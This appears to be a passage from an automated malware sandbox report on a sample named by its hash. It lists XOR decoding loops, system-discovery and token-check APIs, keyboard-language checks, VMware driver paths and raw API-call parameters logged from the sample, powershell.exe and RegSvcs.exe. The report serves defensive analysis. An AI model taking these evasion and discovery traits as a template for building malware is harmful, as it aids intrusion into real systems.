"WatAdminSvc.exe.bin" at offset 102990; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 116482; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 267981; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 391901; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 527823; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 586209; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1025459; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1092366; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1168871; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1175459; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1176815; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1185623; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1426716; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1466349; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1467652; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1495201; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1598698; code bytes = 8030 Found XOR loop in file "capinfos.exe" at offset 420720; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 420821; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 435698; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 443408; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 539493; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 572984; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 709600; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 803790; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 850801; code bytes = 30d0 Found XOR loop in file "capinfos.exe" at offset 19060; code bytes = 33c1 Found XOR loop in file "capinfos.exe" at offset 611779; code bytes = 33c1 Found XOR loop in file "capinfos.exe" at offset 655806; code bytes = 33c1 Found XOR loop in file "capinfos.exe" at offset 732674; code bytes = 30040e Found XOR loop in file "capinfos.exe" at offset 507164; code bytes = 8030 Found XOR loop in file "capinfos.exe" at offset 546797; code bytes = 8030 Found XOR loop in file "capinfos.exe" at offset 548100; code bytes = 8030 Found XOR loop in file "capinfos.exe" at offset 575649; code bytes = 8030 Found XOR loop in file "capinfos.exe" at offset 679146; code bytes = 8030 Found XOR loop in file "mergecap.exe" at offset 408432; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 408533; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 423410; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 431120; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 527205; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 560696; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 697312; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 791502; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 838513; code bytes = 30d0 Found XOR loop in file "mergecap.exe" at offset 11140; code bytes = 33c1 Found XOR loop in file "mergecap.exe" at offset 599491; code bytes = 33c1 Found XOR loop in file "mergecap.exe" at offset 643518; code bytes = 33c1 Found XOR loop in file "mergecap.exe" at offset 720386; code bytes = 30040e Found XOR loop in file "mergecap.exe" at offset 494876; code bytes = 8030 Found XOR loop in file "mergecap.exe" at offset 534509; code bytes = 8030 Found XOR loop in file "mergecap.exe" at offset 535812; code bytes = 8030 Found XOR loop in file "mergecap.exe" at offset 563361; code bytes = 8030 Found XOR loop in file "mergecap.exe" at offset 666858; code bytes = 8030 Found XOR loop in file "reordercap.exe" at offset 405872; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 405973; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 420850; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 428560; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 524645; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 558136; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 694752; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 788942; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 835953; code bytes = 30d0 Found XOR loop in file "reordercap.exe" at offset 10036; code bytes = 33c1 Found XOR loop in file "reordercap.exe" at offset 596931; code bytes = 33c1 Found XOR loop in file "reordercap.exe" at offset 640958; code bytes = 33c1 Found XOR loop in file "reordercap.exe" at offset 717826; code bytes = 30040e Found XOR loop in file "reordercap.exe" at offset 492316; code bytes = 8030 Found XOR loop in file "reordercap.exe" at offset 531949; code bytes = 8030 Found XOR loop in file "reordercap.exe" at offset 533252; code bytes = 8030 Found XOR loop in file "reordercap.exe" at offset 560801; code bytes = 8030 Found XOR loop in file "reordercap.exe" at offset 664298; code bytes = 8030 Found XOR loop in file "javaws.exe" at offset 404848; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 404949; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 419826; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 427536; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 523621; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 557112; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 693728; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 787918; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 834929; code bytes = 30d0 Found XOR loop in file "javaws.exe" at offset 595907; code bytes = 33c1 Found XOR loop in file "javaws.exe" at offset 639934; code bytes = 33c1 Found XOR loop in file "javaws.exe" at offset 716802; code bytes = 30040e Found XOR loop in file "javaws.exe" at offset 95247; code bytes = 8030 Found XOR loop in file "javaws.exe" at offset 491292; code bytes = 8030 Found XOR loop in file "javaws.exe" at offset 530925; code bytes = 8030 Found XOR loop in file "javaws.exe" at offset 532228; code bytes = 8030 Found XOR loop in file "javaws.exe" at offset 559777; code bytes = 8030 Found XOR loop in file "javaws.exe" at offset 663274; code bytes = 8030 Found XOR loop in file "airappinstaller.exe" at offset 303741; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 396144; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 396245; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 411122; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 418832; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 514917; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 548408; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 685024; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 779214; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 826225; code bytes = 30d0 Found XOR loop in file "airappinstaller.exe" at offset 587203; code bytes = 33c1 Found XOR loop in file "airappinstaller.exe" at offset 631230; code bytes = 33c1 Found XOR loop in file "airappinstaller.exe" at offset 708098; code bytes = 30040e Found XOR loop in file "airappinstaller.exe" at offset 303712; code bytes = 8030 Found XOR loop in file "airappinstaller.exe" at offset 482588; code bytes = 8030 Found XOR loop in file "airappinstaller.exe" at offset 522221; code bytes = 8030 Found XOR loop in file "airappinstaller.exe" at offset 523524; code bytes = 8030 Found XOR loop in file "airappinstaller.exe" at offset 551073; code bytes = 8030 Found XOR loop in file "airappinstaller.exe" at offset 654570; code bytes = 803035:T476,Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003968-00000C2B-62483618") Found reference to API "NtQuerySystemInformationW" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00001268-00000C2B-105964960") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtQuerySystemInformation failed with status %d" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtQuerySystemInformation reports no pagefile" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtQuerySystemInformation( SystemSystemPartitionInformation, pSysInfo, cbRequiredSize, &cbRequiredSize)" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")36:T57b,Found string "NTUserName" (Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found string "CredUIParseUserNameW" (Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found string "m_wszUserName" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "!pDependencyCtxt->m_wszRemoteMachineName" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "wszMachineName != NULL" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "wszUserName" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "prgBackupMachineNames" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "prgBackupMachineNames->IsEmpty()" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "GetUserNameW" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "GetLogicalDrives" (Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found string "Tracing started or updated. PID=%d, CommandLine=[%s], UserName=[%s]. SQN=[%d -> %d]" (Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "MachineName" (Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "OSVersion" (Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")37:T43a,Found string "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003968-00000C2B-62483618") Found string "NtQuerySystemInformationW" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00001268-00000C2B-105964960") Found string "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "NtQuerySystemInformation failed with status %d" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "NtQuerySystemInformation reports no pagefile" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "NtQuerySystemInformation( SystemSystemPartitionInformation, pSysInfo, cbRequiredSize, &cbRequiredSize)" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")38:T45b,Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\*" (Indicator: "\vmci"; Source: "00000000-00004636-00000C2D-134846708166") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\device\*" (Indicator: "\vmci"; Source: "00000000-00004636-00000C2D-134860945488") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\device\Win7\*" (Indicator: "\vmci"; Source: "00000000-00004636-00000C2D-134884014284") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\sockets\*" (Indicator: "\vmci"; Source: "00000000-00004636-00000C2D-135196385538") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\sockets\include\*" (Indicator: "\vmci"; Source: "00000000-00004636-00000C2D-135205382800") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\sockets\Win7\*" (Indicator: "\vmci"; Source: "00000000-00004636-00000C2D-135220233548") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmxnet3\*" (Indicator: "vmxnet"; Source: "00000000-00004636-00000C2D-135261706382") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmxnet3\Win7\*" (Indicator: "vmxnet"; Source: "00000000-00004636-00000C2D-135270815806")39:T795,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CheckTokenMembershipW" (Indicator: "CheckTokenMembership"; Source: "00000000-00003968-00000C2B-86893328") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RtlFreeSid" (Indicator: "FreeSid"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RtlAllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp")3a:T697,Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GlobalMemoryStatus" (Indicator: "GlobalMemoryStatus"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")3b:Te53,Found system information discovery API: "ExpandEnvironmentStringsW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetEnvironmentStringsW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetNativeSystemInfo" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetSystemInfo" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetMonitorInfoW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetUserObjectInformationW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetEnvironmentStrings" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "RtlNtStatusToDosError" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "ExpandEnvironmentStringsA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "GetMonitorInfoA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found system information discovery API: "ExpandEnvironmentStrings() failed, ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found system information discovery API: "GetUserObjectInformationA" in "00000000-00003376.00000000.70935.40001000.00000020.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00004204.00000000.71804.00001000.00000020.mdmp" Found system information discovery API: "NtQuerySystemInformation failed with status %d" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found system information discovery API: "NtQuerySystemInformation reports no pagefile" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found system information discovery API: "CVssAutoString >::ExpandEnvironmentStringsW" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found system information discovery API: "NtQuerySystemInformation( SystemSystemPartitionInformation, pSysInfo, cbRequiredSize, &cbRequiredSize)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp"3c:T5a6,Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")3d:T5db,Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "PostMessage" (Indicator: "postmessage"; Source: "00000000-00003968-00000C2B-87040688") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00001268-00000C2B-96738339") Found reference to API "FindWindowW" (Indicator: "findwindow"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp")3e:Tabe,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000c00098020000000000000000000000000000000000000d00bb00980200000000000000000000b878990000000000200000000000000000000000f0f69c00a8759900c876990048489d00707a9900000000008cf7780000000000e8f9780045583a77c9f26600feffffff0ce4357772e1357764c57875d0423677000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000064c5787548489d0064c57875 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099000000000074019900000000000100000014000000500199001500000030f39e0000000000150000000000000014000000000000000000000000000000000000000000000004000004e8989e00972500b20000000000000000000000008000000000000000972500b230f39e000100000000000000020000000c000000b8c89e00b8c89e00b3c89e0000000000000000000000990000000001f8f53b000000000018fc3b0045583a77e1e86600feffffff163436774134367794000000a0000000b2c89e00b0c89e00940000009cf73b00b91495760000000018000000d8faadc7 (UID: 00000000-00003968)3f:T20aa,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000068059d00fcf97800e733367716343677c8fa78000100000094019900010000007cf97800b4163777c02043779a163777fdd82b77c8fa78000100000001000000f0819d00000000004cf978007cf97800e8f9780045583a77519a6600feffffff9a163777a51931750000737500000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000001000000010000000000000000000000450054005c00460000000000000000000000000000000000010000002f00000000000000000000003300310039003b003b0043003a005c005700690000000000000077000000000000000000000000000000000000000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100003b023677b9cf6877f42e8f7370929d00a0358f7389cf687760ee3b0070809d00def5357799cf687770ee3b00000088730000887300000000cced3b00f0000000f000887300000000dced3b005300000070ef3b00000000000100000040ee3b006cf6357700000000000000002cee3b00 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c471874409ca4008c47187400000000409ca40074e43b00fd3f3677d82043770000000028e53b0000000000de549b71b4e43b0045583a7779e96600feffffff4de737776056317502100000000000000000010088e43b00e24236778c4718740000000000000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000078d23b00020000000000000010000000b8d13b00d4d13b00525a317500009900000014008d5b3175b68782c70000000000002b6d01000000b41637770000000000000000000000009cd13b00010000006cd43b0070723375dadb8ab200000000bd142b6d9805a600 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebfe745004020600e0fd7ed30f377700d0fd7ea4e03b0044e0fd7e00000000400000003f0000002500000000e0fd7e98e03b00fa0f3777504243772500000000e0fd7ed30f377700d0fd7ebce03b00b88336770021437794463175d8ebfe74 (UID: 00000000-00003968) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007750726f6365737349642c302c302c2c3466340d0a00656c33322e646c6c2c223235323a30333a34302e393939222c52583d302c50583d30003030303030623131643030303030323030303030303533303036353030373230303736303036393030363330303635303032303030353030 (UID: 00000000-00001268) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000045583a7732166600feffffff3b023677750a3777800e9b001015237088082300def5357782472f77a8ee7c000000227000002270920a3777be472f77f0000000f00022700000000014ee7c005c004300a8ef7c00000000000100000078ee7c006cf63577000000000000000064ee7c00 (UID: 00000000-00001268) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000880000000000000014ee7c00459d10750000300000000000800000000200000000007d00dc1a227028ee7c00 (UID: 00000000-00001268) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebfe7438750d0500e0fd7ed30f37770040f97e4cd2da0544e0fd7e00000000400000003f0000002200000000e0fd7e40d2da05fa0f3777504243772200000000e0fd7ed30f37770040f97e64d2da05b88336770021437794463175d8ebfe74 (UID: 00000000-00001268) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "RegSvcs.exe" called "GetVersionExA" with parameter 